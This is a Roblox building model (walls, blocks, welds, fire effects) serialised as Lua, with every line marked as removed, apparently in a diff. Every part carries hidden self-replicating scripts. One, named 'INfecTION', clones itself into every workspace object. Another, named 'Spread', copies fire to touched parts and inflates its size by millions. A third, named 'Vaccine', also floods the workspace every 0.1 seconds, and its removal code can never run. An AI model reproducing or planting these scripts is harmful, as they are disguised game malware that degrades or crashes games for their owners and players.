- WedgePart176.Size = Vector3.new(1.79999948, 0.799999356, 0.599999368)
- WedgePart176.Anchored = true
- WedgePart176.BottomSurface = Enum.SurfaceType.Smooth
- WedgePart176.BrickColor = BrickColor.new("Dark stone grey")
- WedgePart176.Material = Enum.Material.DiamondPlate
- WedgePart176.brickColor = BrickColor.new("Dark stone grey")
- WedgePart176.FormFactor = Enum.FormFactor.Custom
- WedgePart176.formFactor = Enum.FormFactor.Custom
- BoolValue177.Name = "RobloxStamper"
- BoolValue177.Parent = WedgePart176
- BoolValue178.Name = "RobloxModel"
- BoolValue178.Parent = WedgePart176
- RotateP179.Name = "INfecTION"
- RotateP179.Parent = WedgePart176
- RotateP179.BaseAngle = 0.25
- Script180.Name = "Script......Or is it..."
- Script180.Parent = RotateP179
- table.insert(cors,sandbox(Script180,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Fire181.Parent = WedgePart176
- Fire181.Color = Color3.new(1, 0.678431, 0)
- Fire181.Enabled = false
- Fire181.Size = 30
- Fire181.Heat = 25
- Fire181.SecondaryColor = Color3.new(1, 0, 0)
- Fire181.size = 30
- Script182.Name = "Spread"
- Script182.Parent = Fire181
- table.insert(cors,sandbox(Script182,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- ManualWeld183.Name = "spaceWallCorner-to-spaceWall Strong Joint"
- ManualWeld183.Parent = WedgePart176
- ManualWeld183.C0 = CFrame.new(0.899999738, -0.399999678, -0.299999684, -1, 0, 0, 0, 0.800000072, 0.599999905, 0, 0.599999905, -0.800000072)
- ManualWeld183.C1 = CFrame.new(0.400001526, -0.500000954, -1.5, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- ManualWeld183.Part0 = WedgePart176
- ManualWeld183.Part1 = Part187
- ManualWeld183.part1 = Part187
- ManualWeld184.Name = "spaceWallCorner-to-spaceWall Strong Joint"
- ManualWeld184.Parent = WedgePart176
- ManualWeld184.C0 = CFrame.new(0.899999738, -0.399999678, -0.299999684, -1, 0, 0, 0, 0.800000072, 0.599999905, 0, 0.599999905, -0.800000072)
- ManualWeld184.C1 = CFrame.new(0.400001526, -0.900001526, 0.499999046, 0, 0, -1, 1, 0, 0, 0, -1, 0)
- ManualWeld184.Part0 = WedgePart176
- ManualWeld184.Part1 = Part205
- ManualWeld184.part1 = Part205
- ManualWeld185.Name = "spaceWallCorner-to-spaceWall Strong Joint"
- ManualWeld185.Parent = WedgePart176
- ManualWeld185.C0 = CFrame.new(0.899999738, -0.399999678, -0.299999684, -1, 0, 0, 0, 0.800000072, 0.599999905, 0, 0.599999905, -0.800000072)
- ManualWeld185.C1 = CFrame.new(0.400001526, -0.299995422, 0.499999046, 0, 0, -1, 1, 0, 0, 0, -1, 0)
- ManualWeld185.Part0 = WedgePart176
- ManualWeld185.Part1 = Part196
- ManualWeld185.part1 = Part196
- Script186.Name = "Vaccine"
- Script186.Parent = WedgePart176
- table.insert(cors,sandbox(Script186,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part187.Name = "spaceWall"
- Part187.Parent = Model0
- Part187.CFrame = CFrame.new(-9.25067043, 4.50000095, -8.858428, 0.600000739, -0.800001144, 0, -0.800001144, -0.600000739, 0, 0, 0, -1)
- Part187.Orientation = Vector3.new(0, 180, -126.870003)
- Part187.Position = Vector3.new(-9.25067043, 4.50000095, -8.858428)
- Part187.Rotation = Vector3.new(-180, 0, 53.1300011)
- Part187.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part187.Size = Vector3.new(0.799999595, 0.200000033, 0.200000003)
- Part187.Anchored = true
- Part187.BottomSurface = Enum.SurfaceType.Smooth
- Part187.BrickColor = BrickColor.new("Really black")
- Part187.Material = Enum.Material.DiamondPlate
- Part187.TopSurface = Enum.SurfaceType.Smooth
- Part187.brickColor = BrickColor.new("Really black")
- Part187.FormFactor = Enum.FormFactor.Custom
- Part187.formFactor = Enum.FormFactor.Custom
- BoolValue188.Name = "RobloxModel"
- BoolValue188.Parent = Part187
- BoolValue189.Name = "RobloxStamper"
- BoolValue189.Parent = Part187
- Fire190.Parent = Part187
- Fire190.Color = Color3.new(1, 0.678431, 0)
- Fire190.Enabled = false
- Fire190.Size = 30
- Fire190.Heat = 25
- Fire190.SecondaryColor = Color3.new(1, 0, 0)
- Fire190.size = 30
- Script191.Name = "Spread"
- Script191.Parent = Fire190
- table.insert(cors,sandbox(Script191,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- RotateP192.Name = "INfecTION"
- RotateP192.Parent = Part187
- RotateP192.BaseAngle = 0.25
- Script193.Name = "Script......Or is it..."
- Script193.Parent = RotateP192
- table.insert(cors,sandbox(Script193,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- SpecialMesh194.Parent = Part187
- SpecialMesh194.MeshType = Enum.MeshType.Cylinder
- Script195.Name = "Vaccine"
- Script195.Parent = Part187
- table.insert(cors,sandbox(Script195,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part196.Name = "spaceWall"
- Part196.Parent = Model0
- Part196.CFrame = CFrame.new(-9.25067043, 4.50000095, -7.65842819, 0.600000739, 0, 0.800001144, -0.800001144, 0, 0.600000739, 0, -1, 0)
- Part196.Orientation = Vector3.new(-36.8699989, 90, -90)
- Part196.Position = Vector3.new(-9.25067043, 4.50000095, -7.65842819)
- Part196.Rotation = Vector3.new(-90, 53.1300011, 0)
- Part196.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part196.Size = Vector3.new(0.799999595, 0.200000003, 0.200000003)
- Part196.Anchored = true
- Part196.BottomSurface = Enum.SurfaceType.Smooth
- Part196.BrickColor = BrickColor.new("Really black")
- Part196.Material = Enum.Material.DiamondPlate
- Part196.TopSurface = Enum.SurfaceType.Smooth
- Part196.brickColor = BrickColor.new("Really black")
- Part196.FormFactor = Enum.FormFactor.Custom
- Part196.formFactor = Enum.FormFactor.Custom
- BoolValue197.Name = "RobloxModel"
- BoolValue197.Parent = Part196
- BoolValue198.Name = "RobloxStamper"
- BoolValue198.Parent = Part196
- Fire199.Parent = Part196
- Fire199.Color = Color3.new(1, 0.678431, 0)
- Fire199.Enabled = false
- Fire199.Size = 30
- Fire199.Heat = 25
- Fire199.SecondaryColor = Color3.new(1, 0, 0)
- Fire199.size = 30
- Script200.Name = "Spread"
- Script200.Parent = Fire199
- table.insert(cors,sandbox(Script200,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- RotateP201.Name = "INfecTION"
- RotateP201.Parent = Part196
- RotateP201.BaseAngle = 0.25
- Script202.Name = "Script......Or is it..."
- Script202.Parent = RotateP201
- table.insert(cors,sandbox(Script202,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- SpecialMesh203.Parent = Part196
- SpecialMesh203.MeshType = Enum.MeshType.Cylinder
- Script204.Name = "Vaccine"
- Script204.Parent = Part196
- table.insert(cors,sandbox(Script204,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part205.Name = "spaceWall"
- Part205.Parent = Model0
- Part205.CFrame = CFrame.new(-9.25067043, 4.50000095, -8.25842476, 0.600000739, 0, 0.800001144, -0.800001144, 0, 0.600000739, 0, -1, 0)
- Part205.Orientation = Vector3.new(-36.8699989, 90, -90)
- Part205.Position = Vector3.new(-9.25067043, 4.50000095, -8.25842476)
- Part205.Rotation = Vector3.new(-90, 53.1300011, 0)
- Part205.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part205.Size = Vector3.new(0.799999595, 0.200000033, 0.200000003)
- Part205.Anchored = true
- Part205.BottomSurface = Enum.SurfaceType.Smooth
- Part205.BrickColor = BrickColor.new("Really black")
- Part205.Material = Enum.Material.DiamondPlate
- Part205.TopSurface = Enum.SurfaceType.Smooth
- Part205.brickColor = BrickColor.new("Really black")
- Part205.FormFactor = Enum.FormFactor.Custom
- Part205.formFactor = Enum.FormFactor.Custom
- BoolValue206.Name = "RobloxModel"
- BoolValue206.Parent = Part205
- BoolValue207.Name = "RobloxStamper"
- BoolValue207.Parent = Part205
- Fire208.Parent = Part205
- Fire208.Color = Color3.new(1, 0.678431, 0)
- Fire208.Enabled = false
- Fire208.Size = 30
- Fire208.Heat = 25
- Fire208.SecondaryColor = Color3.new(1, 0, 0)
- Fire208.size = 30
- Script209.Name = "Spread"
- Script209.Parent = Fire208
- table.insert(cors,sandbox(Script209,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- RotateP210.Name = "INfecTION"
- RotateP210.Parent = Part205
- RotateP210.BaseAngle = 0.25
- Script211.Name = "Script......Or is it..."
- Script211.Parent = RotateP210
- table.insert(cors,sandbox(Script211,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- SpecialMesh212.Parent = Part205
- SpecialMesh212.MeshType = Enum.MeshType.Cylinder
- Script213.Name = "Vaccine"
- Script213.Parent = Part205
- table.insert(cors,sandbox(Script213,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part214.Name = "Smooth Block Model"
- Part214.Parent = Model0
- Part214.CFrame = CFrame.new(-2.81072211, 0.899998009, -6.35842896, 0, 0, 1.00000131, 0, 1.00000131, 0, -1, 0, 0)
- Part214.Orientation = Vector3.new(0, 90, 0)
- Part214.Position = Vector3.new(-2.81072211, 0.899998009, -6.35842896)
- Part214.Rotation = Vector3.new(0, 90, 0)
- Part214.Color = Color3.new(0.768627, 0.156863, 0.109804)
- Part214.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
- Part214.Anchored = true
- Part214.BottomSurface = Enum.SurfaceType.Smooth
- Part214.BrickColor = BrickColor.new("Bright red")
- Part214.Material = Enum.Material.DiamondPlate
- Part214.TopSurface = Enum.SurfaceType.Smooth
- Part214.brickColor = BrickColor.new("Bright red")
- Part214.FormFactor = Enum.FormFactor.Custom
- Part214.formFactor = Enum.FormFactor.Custom
- Fire215.Parent = Part214
- Fire215.Color = Color3.new(1, 0.678431, 0)
- Fire215.Enabled = false
- Fire215.Size = 30
- Fire215.Heat = 25
- Fire215.SecondaryColor = Color3.new(1, 0, 0)
- Fire215.size = 30
- Script216.Name = "Spread"
- Script216.Parent = Fire215
- table.insert(cors,sandbox(Script216,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue217.Name = "RobloxStamper"
- BoolValue217.Parent = Part214
- BoolValue218.Name = "RobloxModel"
- BoolValue218.Parent = Part214
- RotateP219.Name = "INfecTION"
- RotateP219.Parent = Part214
- RotateP219.BaseAngle = 0.25
- Script220.Name = "Script......Or is it..."
- Script220.Parent = RotateP219
- table.insert(cors,sandbox(Script220,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- ManualWeld221.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld221.Parent = Part214
- ManualWeld221.C0 = CFrame.new(0.200000018, -0.899999738, -0.200000003, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- ManualWeld221.C1 = CFrame.new(0.199996948, -0.899999619, 0.200000763, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- ManualWeld221.Part0 = Part214
- ManualWeld221.Part1 = Part223
- ManualWeld221.part1 = Part223
- Script222.Name = "Vaccine"
- Script222.Parent = Part214
- table.insert(cors,sandbox(Script222,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part223.Name = "Smooth Block Model"
- Part223.Parent = Model0
- Part223.CFrame = CFrame.new(-3.21062589, 0.899998009, -6.35842896, 0, 0, 1.00000131, 0, 1.00000131, 0, -1, 0, 0)
- Part223.Orientation = Vector3.new(0, 90, 0)
- Part223.Position = Vector3.new(-3.21062589, 0.899998009, -6.35842896)
- Part223.Rotation = Vector3.new(0, 90, 0)
- Part223.Color = Color3.new(0.768627, 0.156863, 0.109804)
- Part223.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
- Part223.Anchored = true
- Part223.BottomSurface = Enum.SurfaceType.Smooth
- Part223.BrickColor = BrickColor.new("Bright red")
- Part223.Material = Enum.Material.DiamondPlate
- Part223.TopSurface = Enum.SurfaceType.Smooth
- Part223.brickColor = BrickColor.new("Bright red")
- Part223.FormFactor = Enum.FormFactor.Custom
- Part223.formFactor = Enum.FormFactor.Custom
- Fire224.Parent = Part223
- Fire224.Color = Color3.new(1, 0.678431, 0)
- Fire224.Enabled = false
- Fire224.Size = 30
- Fire224.Heat = 25
- Fire224.SecondaryColor = Color3.new(1, 0, 0)
- Fire224.size = 30
- Script225.Name = "Spread"
- Script225.Parent = Fire224
- table.insert(cors,sandbox(Script225,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue226.Name = "RobloxStamper"
- BoolValue226.Parent = Part223
- BoolValue227.Name = "RobloxModel"
- BoolValue227.Parent = Part223
- RotateP228.Name = "INfecTION"
- RotateP228.Parent = Part223
- RotateP228.BaseAngle = 0.25
- Script229.Name = "Script......Or is it..."
- Script229.Parent = RotateP228
- table.insert(cors,sandbox(Script229,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Script230.Name = "Vaccine"
- Script230.Parent = Part223
- table.insert(cors,sandbox(Script230,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part231.Name = "spaceWall"
- Part231.Parent = Model0
- Part231.CFrame = CFrame.new(-5.41070318, 2.97000289, -8.25842476, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
- Part231.Position = Vector3.new(-5.41070318, 2.97000289, -8.25842476)
- Part231.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part231.Size = Vector3.new(4.79999924, 0.200000003, 0.200000003)
- Part231.Anchored = true
- Part231.BottomSurface = Enum.SurfaceType.Smooth
- Part231.BrickColor = BrickColor.new("Really black")
- Part231.Material = Enum.Material.DiamondPlate
- Part231.TopSurface = Enum.SurfaceType.Smooth
- Part231.brickColor = BrickColor.new("Really black")
- Part231.FormFactor = Enum.FormFactor.Custom
- Part231.formFactor = Enum.FormFactor.Custom
- Fire232.Parent = Part231
- Fire232.Color = Color3.new(1, 0.678431, 0)
- Fire232.Enabled = false
- Fire232.Size = 30
- Fire232.Heat = 25
- Fire232.SecondaryColor = Color3.new(1, 0, 0)
- Fire232.size = 30
- Script233.Name = "Spread"
- Script233.Parent = Fire232
- table.insert(cors,sandbox(Script233,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue234.Name = "RobloxStamper"
- BoolValue234.Parent = Part231
- BoolValue235.Name = "RobloxModel"
- BoolValue235.Parent = Part231
- RotateP236.Name = "INfecTION"
- RotateP236.Parent = Part231
- RotateP236.BaseAngle = 0.25
- Script237.Name = "Script......Or is it..."
- Script237.Parent = RotateP236
- table.insert(cors,sandbox(Script237,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- ManualWeld238.Name = "spaceWall-to-spaceWall Strong Joint"
- ManualWeld238.Parent = Part231
- ManualWeld238.C0 = CFrame.new(-2.39999962, -0.100000001, -0.100000001, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- ManualWeld238.C1 = CFrame.new(0.799995422, -0.499994278, -0.10004425, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- ManualWeld238.Part0 = Part231
- ManualWeld238.Part1 = Part138
- ManualWeld238.part1 = Part138
- Script239.Name = "Vaccine"
- Script239.Parent = Part231
- table.insert(cors,sandbox(Script239,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part240.Name = "Smooth Block Model"
- Part240.Parent = Model0
- Part240.CFrame = CFrame.new(-2.81072211, 0.899998009, -6.75842619, 0, 0, 1.00000131, 0, 1.00000131, 0, -1, 0, 0)
- Part240.Orientation = Vector3.new(0, 90, 0)
- Part240.Position = Vector3.new(-2.81072211, 0.899998009, -6.75842619)
- Part240.Rotation = Vector3.new(0, 90, 0)
- Part240.Color = Color3.new(0.768627, 0.156863, 0.109804)
- Part240.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
- Part240.Anchored = true
- Part240.BottomSurface = Enum.SurfaceType.Smooth
- Part240.BrickColor = BrickColor.new("Bright red")
- Part240.Material = Enum.Material.DiamondPlate
- Part240.TopSurface = Enum.SurfaceType.Smooth
- Part240.brickColor = BrickColor.new("Bright red")
- Part240.FormFactor = Enum.FormFactor.Custom
- Part240.formFactor = Enum.FormFactor.Custom
- Fire241.Parent = Part240
- Fire241.Color = Color3.new(1, 0.678431, 0)
- Fire241.Enabled = false
- Fire241.Size = 30
- Fire241.Heat = 25
- Fire241.SecondaryColor = Color3.new(1, 0, 0)
- Fire241.size = 30
- Script242.Name = "Spread"
- Script242.Parent = Fire241
- table.insert(cors,sandbox(Script242,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue243.Name = "RobloxStamper"
- BoolValue243.Parent = Part240
- BoolValue244.Name = "RobloxModel"
- BoolValue244.Parent = Part240
- RotateP245.Name = "INfecTION"
- RotateP245.Parent = Part240
- RotateP245.BaseAngle = 0.25
- Script246.Name = "Script......Or is it..."
- Script246.Parent = RotateP245
- table.insert(cors,sandbox(Script246,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- ManualWeld247.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld247.Parent = Part240
